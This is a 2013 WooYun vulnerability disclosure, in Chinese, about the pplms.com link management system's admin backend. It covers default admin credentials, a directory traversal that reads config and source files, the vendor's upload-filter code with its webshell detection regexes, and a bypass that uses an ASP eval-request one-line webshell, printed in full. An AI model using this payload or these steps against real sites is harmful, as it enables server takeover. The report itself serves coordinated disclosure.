当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034434

漏洞标题:传承链接管理系统后台存在任意文件读取漏洞+上传检查不严谨可Getshell(读取源码逻辑绕过限制)

相关厂商:pplms.com

漏洞作者: HRay

提交时间:2013-08-15 18:14

修复时间:2013-11-13 18:15

公开时间:2013-11-13 18:15

漏洞类型:文件上传导致任意代码执行

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-15: 细节已通知厂商并且等待厂商处理中
2013-08-16: 厂商已经确认,细节仅向厂商公开
2013-08-19: 细节向第三方安全合作伙伴开放
2013-10-10: 细节向核心白帽子及相关领域专家公开
2013-10-20: 细节向普通白帽子公开
2013-10-30: 细节向实习白帽子公开
2013-11-13: 细节向公众公开

简要描述:

传承旗下-哇哇网址存在弱口令可进入后台续-忽视真的不代表没问题

详细说明:

习惯性的点开“对我公开的漏洞”,发现 WooYun: 传承旗下-哇哇网址存在弱口令可进入后台
然后看到厂商回复“根本就上传不了,还有这个是演示后台弱口令正常,并没有使用的!”
ok,既然是后台演示,那咱就进去看看,是否能拿到shell
访问http://pplms.cn/x/admin/IndexManage.asp admin admin888进入后台
长话短说,直接上问题
1.模板管理处对CurrPath参数过滤不当导致可以遍历上级目录
http://pplms.cn/x/admin/Template/TemplateManage.asp?CurrPath=%2Fx%2F

1_列目录.jpg


也可以直接查看文件内容,如
http://pplms.cn/x/admin/Template/Template.asp?Action=Modify&FileName=Config%2Easp&CurrPath=%2Fx%2FConfig

2_config.jpg


按说这里应该是编辑内容的,但是限制了可保存的文件名,文件名不能出现; 并且路径中也不能出现x.asp这种,就算你建立了x.asp这样的目录也不能在这里拿shell
2.结合1,虽然不能直接拿shell,但是支持我们新建一个1.asp的目录名,系统本身有上传文件管理的功能

_上传文件管理.jpg


我开始的想法是直接传jpg到1.asp目录里,但是文件内容也有检查限制

_上传限制.jpg


我们利用漏洞1读一下相关的代码,文件类型限制之类的就不看了,只看内容检查的地方,代码如下

'检查文件内容的是否合法
Function CheckFileContent(byval path,byval FileSize)
Dim kk,NoAllowExtArr
NoAllowExtArr=Split(NoAllowExt,"|")
For kk=0 To Ubound(NoAllowExtArr)
If InStr(LCase(path),"." & NoAllowExtArr(kk))<>0 Then
Call PCls.DeleteFile(path)'删除指定文件
CheckFileContent= "文件上传失败,文件名不合法"
Exit Function
End If
Next
If FileSize>50 Then Exit Function '超过50K跳过检测

On Error Resume Next
Dim FindContent,regEx,FoundTF
FindContent=PCls.ReadFromFile(Replace(path,PCls.Setting(2),""))
If Err Then Exit Function:Err.Clear
FoundTF=false
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True

regEx.Pattern = "@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"
If regEx.Test(FindContent) Then
FoundTF=true
End If
regEx.Pattern = "execute\s*request"
If regEx.Test(FindContent) Then
FoundTF=true
End If
regEx.Pattern = "executeglobal\s*request"
If regEx.Test(FindContent) Then
FoundTF=true
End If
regEx.Pattern = "<script.*runat.*server(\n|.)*execute(\n|.)*<\/script>"
If regEx.Test(FindContent) Then
FoundTF=true
End If
regEx.Pattern = "\<%(.|\n)*%\>"
If regEx.Test(FindContent) Then
FoundTF=true
End If
If InStr(LCase(FindContent),"scripting.filesystemobject")<>0 or instr(lcase(FindContent),"adodb.stream")<>0 Then
FoundTF=true
End If
Set regEx=nothing
If FoundTF Then
PCls.DeleteFile(path)
CheckFileContent="系统检查到您上传的文件可能存在危险代码,不允许上传!"
End If
End Function


这里我们有两种绕过的方法
1是直接上传一个大于50k的
2是上传如下代码的一句话

<script language=VBScript runat=server>eval request("a")</Script>


正则匹配忽略了大小写
两种方式我们均上传成功
但是我发现默认会生成一个1asp的文件夹,而并非长传至1.asp,这个简单,利用模板管理的强大功能,把1asp目录重命名为1.asp就ok了
最终拿到了webshell

_webshell.jpg

漏洞证明:

_webshell.jpg

修复方案:

厂商还是有一定的安全意识的,如何修复我想也不用我多说了

版权声明:转载请注明来源 HRay@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-16 15:34

厂商回复:

谢谢

最新状态:

暂无